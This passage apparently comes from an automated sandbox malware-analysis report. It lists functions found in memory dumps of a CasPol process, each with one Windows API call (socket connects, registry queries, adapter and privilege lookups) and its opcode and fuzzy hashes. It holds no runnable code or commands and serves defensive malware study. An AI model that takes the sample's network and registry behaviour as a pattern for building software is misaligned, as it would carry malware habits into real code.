Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: bb003fc9b4d7a7dc9efc34a57a1a8df8397fe3537500d8de18b0b778981066f6
Instruction ID: 153c883a20edfd201d753ec01c780714fc984e7999a9dce177d09461e70b210b
Opcode Fuzzy Hash: bb003fc9b4d7a7dc9efc34a57a1a8df8397fe3537500d8de18b0b778981066f6
Instruction Fuzzy Hash: 58217C71904240AFF710DF29DD89B56FBE8EF08614F04C5AAE9848F281D675F904CA66

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32646 Relevance: 1.6, APIs: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE326C1

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: cfb3777b97d598b0f2689a8ab5cc6551888857fea9d5dec6a5024ff14c30b81b
Instruction ID: 3d1156cc539282ef1d3e112be382d59df8473966b0502f0cb6a7ea5212605c26
Opcode Fuzzy Hash: cfb3777b97d598b0f2689a8ab5cc6551888857fea9d5dec6a5024ff14c30b81b
Instruction Fuzzy Hash: 93218B76500644EFEB21CF11DD88FA6FBE8EF08711F04856AED858B252D671F848CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1FE328D4 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32963

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 0ed218be6f06fdbadc270f896833bc447e7f7eae81a367a6ab8cc5f19fb422e9
Instruction ID: ecda35cb44bb26f64f2ad1a2b8b6c56e00c3ee1480893c004ef2554a54c8cb13
Opcode Fuzzy Hash: 0ed218be6f06fdbadc270f896833bc447e7f7eae81a367a6ab8cc5f19fb422e9
Instruction Fuzzy Hash: 8A21C2B54097C4AFE7128B10DC85F66FFB8EF46314F09849AE9849F193D265A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3368A Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 1FE3370E

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: eb4773deea6462ad7b3632e5b9866a7524a8843153bfc22befdd667b015b1dad
Instruction ID: 221bbca703bc22803f6646b8008f53d11c3e171d5c0e787a4ce71a72185328d7
Opcode Fuzzy Hash: eb4773deea6462ad7b3632e5b9866a7524a8843153bfc22befdd667b015b1dad
Instruction Fuzzy Hash: A0218E764097C09FDB12CF65DC84A92FFB4EF0A214F0984DAE9858F263D265A809DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32547 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE325C3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 980fa592b1995712f7752df3cae26696768b700318446c65cd77619689460058
Instruction ID: 52cb29cc75332c680dccefc67931597a45c4275e3179454a0b105f4f8d30cb5d
Opcode Fuzzy Hash: 980fa592b1995712f7752df3cae26696768b700318446c65cd77619689460058
Instruction Fuzzy Hash: 35218E72409384AFE712CF15DD88F56FFA8EF45310F08849AE9849F192D265A508CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3150E Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE31580

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b2685079c27893105a2bdd783541e771007692bfc55a9a71aae7cc0b86b455ce
Instruction ID: e060fef09d3fa9d12ae64dee16b3278eabbcbbe8243d56ce86f3419ece1a9872
Opcode Fuzzy Hash: b2685079c27893105a2bdd783541e771007692bfc55a9a71aae7cc0b86b455ce
Instruction Fuzzy Hash: C9218E76900340AFEB20CF15DD88F96F7ECEF04711F04855AE9459B251D675E404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A652 Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45A6CC

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 36cde2e70e4b13a1d4fdaaf17b4810c240d9fefb9f26a79f6b2d746c2355804f
Instruction ID: 1b7cefb140acf391a9045aa2a0e0fee08c7b67ee8b39b80e55fa91f33b8a45f9
Opcode Fuzzy Hash: 36cde2e70e4b13a1d4fdaaf17b4810c240d9fefb9f26a79f6b2d746c2355804f
Instruction Fuzzy Hash: C021AC76200740AFE721CE15CD85F67F7ECEF08720F18845AE9858B251D660F808CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31F02 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 1FE31F6D

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: f67626fb3d072ac1a8b4def8e378c3914cc8f3a6fa99301e6bf8afc7715cc57f
Instruction ID: 2cd003cec58cbce7880c7af043362711f32d876cdfde56c4397f5015a48a748f
Opcode Fuzzy Hash: f67626fb3d072ac1a8b4def8e378c3914cc8f3a6fa99301e6bf8afc7715cc57f
Instruction Fuzzy Hash: 8A216D71904240AFF711DF69DD89B56FBE8EF08324F08856EED488F281D775E804CA66

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AB4C Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45ABB8

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 63f5fd90cc66941a933e46567d5ac70778286f34957ade9e946eafacc73abace
Instruction ID: c4c33cdcb342be8161001af3ca91b4f69e02a79a71c435172896066353b03114
Opcode Fuzzy Hash: 63f5fd90cc66941a933e46567d5ac70778286f34957ade9e946eafacc73abace
Instruction Fuzzy Hash: 9A21A1725093C09FDB028B25DC95792BFB4AF07224F0D84DAE9858F263D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A309 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45A378

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ee0d7e3f4c2f2d77abcc686b45ec97c329822c86b71bd280a987d56e71a6858c
Instruction ID: 4661f3a312ffaee16222adfbb39926153408c7a2e52edf58eaabdcbf4199d989
Opcode Fuzzy Hash: ee0d7e3f4c2f2d77abcc686b45ec97c329822c86b71bd280a987d56e71a6858c
Instruction Fuzzy Hash: 0421D5755093C09FD7028F25DC85752BFB4EF07224F1884DBDC858F293D265A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3194A Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 1FE319B6

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: c959546f0e005779c9bee758c23075580a0fdd4d4c8c565352ee0b40f0f10983
Instruction ID: 9aa73ac031b539232e8f4e45863c3031baa18b8412f0256cbd236f49d0bd47b4
Opcode Fuzzy Hash: c959546f0e005779c9bee758c23075580a0fdd4d4c8c565352ee0b40f0f10983
Instruction Fuzzy Hash: 37219F71904240AFE721DF69DD89B56FBE8EF08315F08895EE9858B291D375E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3374E Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1FE337CE

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ecd86b04b67996442334bb6dfd2467c91be558b1218a6a6448f614463ad90114
Instruction ID: 95ca3740a5d613fee721261147bbd625b0b1a56c3a94f6e2c27b1f34c4d81dc5
Opcode Fuzzy Hash: ecd86b04b67996442334bb6dfd2467c91be558b1218a6a6448f614463ad90114
Instruction Fuzzy Hash: 662171764087C0AFDB128F61DC54A92BFF0EF0B314F0985DAE9C58F163D265A419DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32002 Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 1FE32076

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 3b6ce4f2bf37d5d2ee70763ae66b27ca37b130003e2a81fc72c6208b0a9217af
Instruction ID: 53e8dd7e4068ecf4578bebbe13a7f26e2e40c283d4fd9e2f10246ded679d306e
Opcode Fuzzy Hash: 3b6ce4f2bf37d5d2ee70763ae66b27ca37b130003e2a81fc72c6208b0a9217af
Instruction Fuzzy Hash: 6121AE71500244AFF721CF59DD89F56FBE8EF08324F04855AEA848B251D276F508CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AE12 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45AE76

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: b31680e9e44f108997fbdaeaf9af021f46318b8b1d8dbf6fa95681ec34bc3d1e
Instruction ID: b9e63a9755bb6cb868dbb178689f5ccb52804f640a3fd2f91839cb60059ade6c
Opcode Fuzzy Hash: b31680e9e44f108997fbdaeaf9af021f46318b8b1d8dbf6fa95681ec34bc3d1e
Instruction Fuzzy Hash: E211AC71640344AFEB11CF15DD89F6BFBACEF04720F14C46AE948CB241D674E8188AA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE329D6 Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA4), ref: 1FE32A39

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: ca817e53efe54ae8028b6134c5ec2ef85fcf9bed8d7e57c52139ab3ebd6d96e8
Instruction ID: 74e8840d7044395f56a637642dd915e157404b6b4a0ce5d2ec247d8dabc65c9e
Opcode Fuzzy Hash: ca817e53efe54ae8028b6134c5ec2ef85fcf9bed8d7e57c52139ab3ebd6d96e8
Instruction Fuzzy Hash: 0111D371900344AFF720DF68DD89F6AFBACEF48311F04855AED449F241D274A805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1D45B362 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EA4,?,?), ref: 1D45B3E6

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 73445057a9461fee0505f686afd9f580a27b4bef0338d274cade9071f5aaaf03
Instruction ID: c93ac91038752d5aa967da8507512233dd5edccca0269a39e6cdeab7e2cb7108
Opcode Fuzzy Hash: 73445057a9461fee0505f686afd9f580a27b4bef0338d274cade9071f5aaaf03
Instruction Fuzzy Hash: 571106725043806FD3118B15DC41F72BFB8EF86620F05819AED488B682D274B919CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A873 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1D45A8E2

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 679e49ca2230225889c8b42468c9310e264a5589b4a00af15ea61f1a7388da2c
Instruction ID: d7247c3fac147a03b0754cc6ac4bc36e4098c622c4fc08f89609f6d5e428c8b9
Opcode Fuzzy Hash: 679e49ca2230225889c8b42468c9310e264a5589b4a00af15ea61f1a7388da2c
Instruction Fuzzy Hash: 5721A272504380AFD711CF25DC45B63BFE8EF46210F0884AAED85CB252D225E808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32BDA Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32C44

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 60dfb421c7be9a1a72dbc806ce9400c5a91cff0be824ae7b85446dc55f26bbb5
Instruction ID: e2d1413e37091e7385aa2194f9c05d2e082c3f8337e431df75a8fbde38f5d6ea
Opcode Fuzzy Hash: 60dfb421c7be9a1a72dbc806ce9400c5a91cff0be824ae7b85446dc55f26bbb5
Instruction Fuzzy Hash: 1A118171400344EFEB21CF51DD88F9AFBACEF04311F04855AE9849B241D675E408CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31C66 Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE31CD8

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ef04fdeff35ed3e440c40b836fb2b89da251d18928c29fb7b17889a47ee70798
Instruction ID: b760fbe6adec5aa7d0f8cd5111e30488255d537ee7438374ca6b64295f33a4b0
Opcode Fuzzy Hash: ef04fdeff35ed3e440c40b836fb2b89da251d18928c29fb7b17889a47ee70798
Instruction Fuzzy Hash: 1611AC76A00740AFE721CF11DD88F56FBFCEF08711F14855AE9459B251D664E808CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE330AC Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE33124

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 86fd108cec888fe5156347f001631563f345c5d3be05a3b04449e4104d7d779e
Instruction ID: afb3f3f64d85feb4a84d77a931da428507c6c89f067b0b2a26dad58775b00bba
Opcode Fuzzy Hash: 86fd108cec888fe5156347f001631563f345c5d3be05a3b04449e4104d7d779e
Instruction Fuzzy Hash: 2711D371508384AFE712CB11DC88F56FFB8EF45320F08809AF9849F292C264A808CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3247E Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE324DD

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 6518908a4cbee10ffe2acf1d2c087c7b6d4b394fb5f9858246039ede0358bbee
Instruction ID: df94d8832a2b1a391d76c513b279d23d3106f878899154016c865691a9804c29
Opcode Fuzzy Hash: 6518908a4cbee10ffe2acf1d2c087c7b6d4b394fb5f9858246039ede0358bbee
Instruction Fuzzy Hash: 9C11D072500340AFEB21CF65DD88F5AFBA8EF04321F04856AE9858B281D675E804CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32826 Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE3288A

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 8eeba302ef686e15b3fca3c508292571b39e14a5860249a9ac3eb80e7d0d553d
Instruction ID: 36cef3db7fb702ed5280d97fe6b17643e79f9a36951ab9ee583c2822566b8b12
Opcode Fuzzy Hash: 8eeba302ef686e15b3fca3c508292571b39e14a5860249a9ac3eb80e7d0d553d
Instruction Fuzzy Hash: 53118272900344AFE711DF55DD88F9AF7ACEF44321F04856AE9849F241D674E508CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AD2A Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45AD86

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 0fb01095bdb44394952c5ea373867d69d5ca3ac6fa49bf0001a879bbfa00ddf2
Instruction ID: ccae0746c0fb77afa37e30bf537f97abe927d9726785c4543ee3b0f3e448b249
Opcode Fuzzy Hash: 0fb01095bdb44394952c5ea373867d69d5ca3ac6fa49bf0001a879bbfa00ddf2
Instruction Fuzzy Hash: 4211E272500380EFEB11DF15DD85F5BFBA8EF44721F14846AE9448B241D674E8088B72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3096E Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE309CD

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: bb67a5067fe411573c5f5636c0c95c787930ec2fb9a2a301abfe28d858325c5a
Instruction ID: 54513330600ab94568df325e9acc23d41295ead90cd2b218077d70b976ee0ec9
Opcode Fuzzy Hash: bb67a5067fe411573c5f5636c0c95c787930ec2fb9a2a301abfe28d858325c5a
Instruction Fuzzy Hash: 2911C472400744EFFB21CF51DD88F5AFBA8EF44315F04855AEA489F251D275A404CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE315DA Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1FE31638

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: da933fda50e86234ea01302bbc8a20506e703200412177fe9bf87c11825200ee
Instruction ID: 80f7c30f8545665d008654dbe5078e9b95e53cf40d8a42ad975ad10307d83b2a
Opcode Fuzzy Hash: da933fda50e86234ea01302bbc8a20506e703200412177fe9bf87c11825200ee
Instruction Fuzzy Hash: 961190755093C09FD7128B65DC84B52BFB4EF06224F0C84EBED858F263D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3256A Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE325C3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: b99991aee6dfdaf7e8be1a4ba2e501f4dedce5609f72c6cd501c865b91cda584
Instruction ID: b04e679cacb5b701b22478c8986bbfe9b1e9f026397c58f51d3d2347b6e95dfd
Opcode Fuzzy Hash: b99991aee6dfdaf7e8be1a4ba2e501f4dedce5609f72c6cd501c865b91cda584
Instruction Fuzzy Hash: 8D11A071904340EFEB11CF15DD88F5AFBA8EF44321F08856AE9849F241D675A904CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE323AE Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32404

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 2ea0e163e6b290e4a94f836a8fe68bf25b698ad3680f911500c00c0c9092d8d1
Instruction ID: a580b76562eb82f881b6a2086b861202023ba2ef113c813abfb0bd65ce325a7f
Opcode Fuzzy Hash: 2ea0e163e6b290e4a94f836a8fe68bf25b698ad3680f911500c00c0c9092d8d1
Instruction Fuzzy Hash: 5911A071900340AFEB11CF15DD88B5AFBA8EF44321F048496E9449F241D674A404CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE335EE Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE3364D

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 97296ffbe0d1991f2e7fda35c6e1c9e6311470058cda6d846a19198dea6d48b7
Instruction ID: e8d438ff8030abb89526736712048a6fac87d361e29c5d285e3dcc31d0c588bc
Opcode Fuzzy Hash: 97296ffbe0d1991f2e7fda35c6e1c9e6311470058cda6d846a19198dea6d48b7
Instruction Fuzzy Hash: 67119E75500740AFFB21CF11DD89F66FBA8EF48720F04855AE9454B351D275E808CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1FE338C6 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 1FE3392F

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: bec9983bebb0392541ce1719b026fc69767f4cb769070a5bbfc7528cc3368207
Instruction ID: de78cfa2fc25b0a6d871083e2c317ca54f23af4eeb1eefaef78a5c1d1ee4cd88
Opcode Fuzzy Hash: bec9983bebb0392541ce1719b026fc69767f4cb769070a5bbfc7528cc3368207
Instruction Fuzzy Hash: ED118F729083809FE711CB25DC85B52BFF8EF46225F09809AED858F267D264E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A48A Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,E552CEA1,00000000,?,?,?,?,?,?,?,?,73793C68), ref: 1D45A4E8

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b9907440d5cc0de359babe318c20f4c3dbb02466e80622522b8da82af3bf58b5
Instruction ID: 63ad5517f57c4baa19ede8c1b8db2f600c4ed630905d98aba740ed2a9787e840
Opcode Fuzzy Hash: b9907440d5cc0de359babe318c20f4c3dbb02466e80622522b8da82af3bf58b5
Instruction Fuzzy Hash: 32118F754093C4AFD7138B25DC84A62BFB4DF47224F0980DBED858F2A3D265A809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45BEBE Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

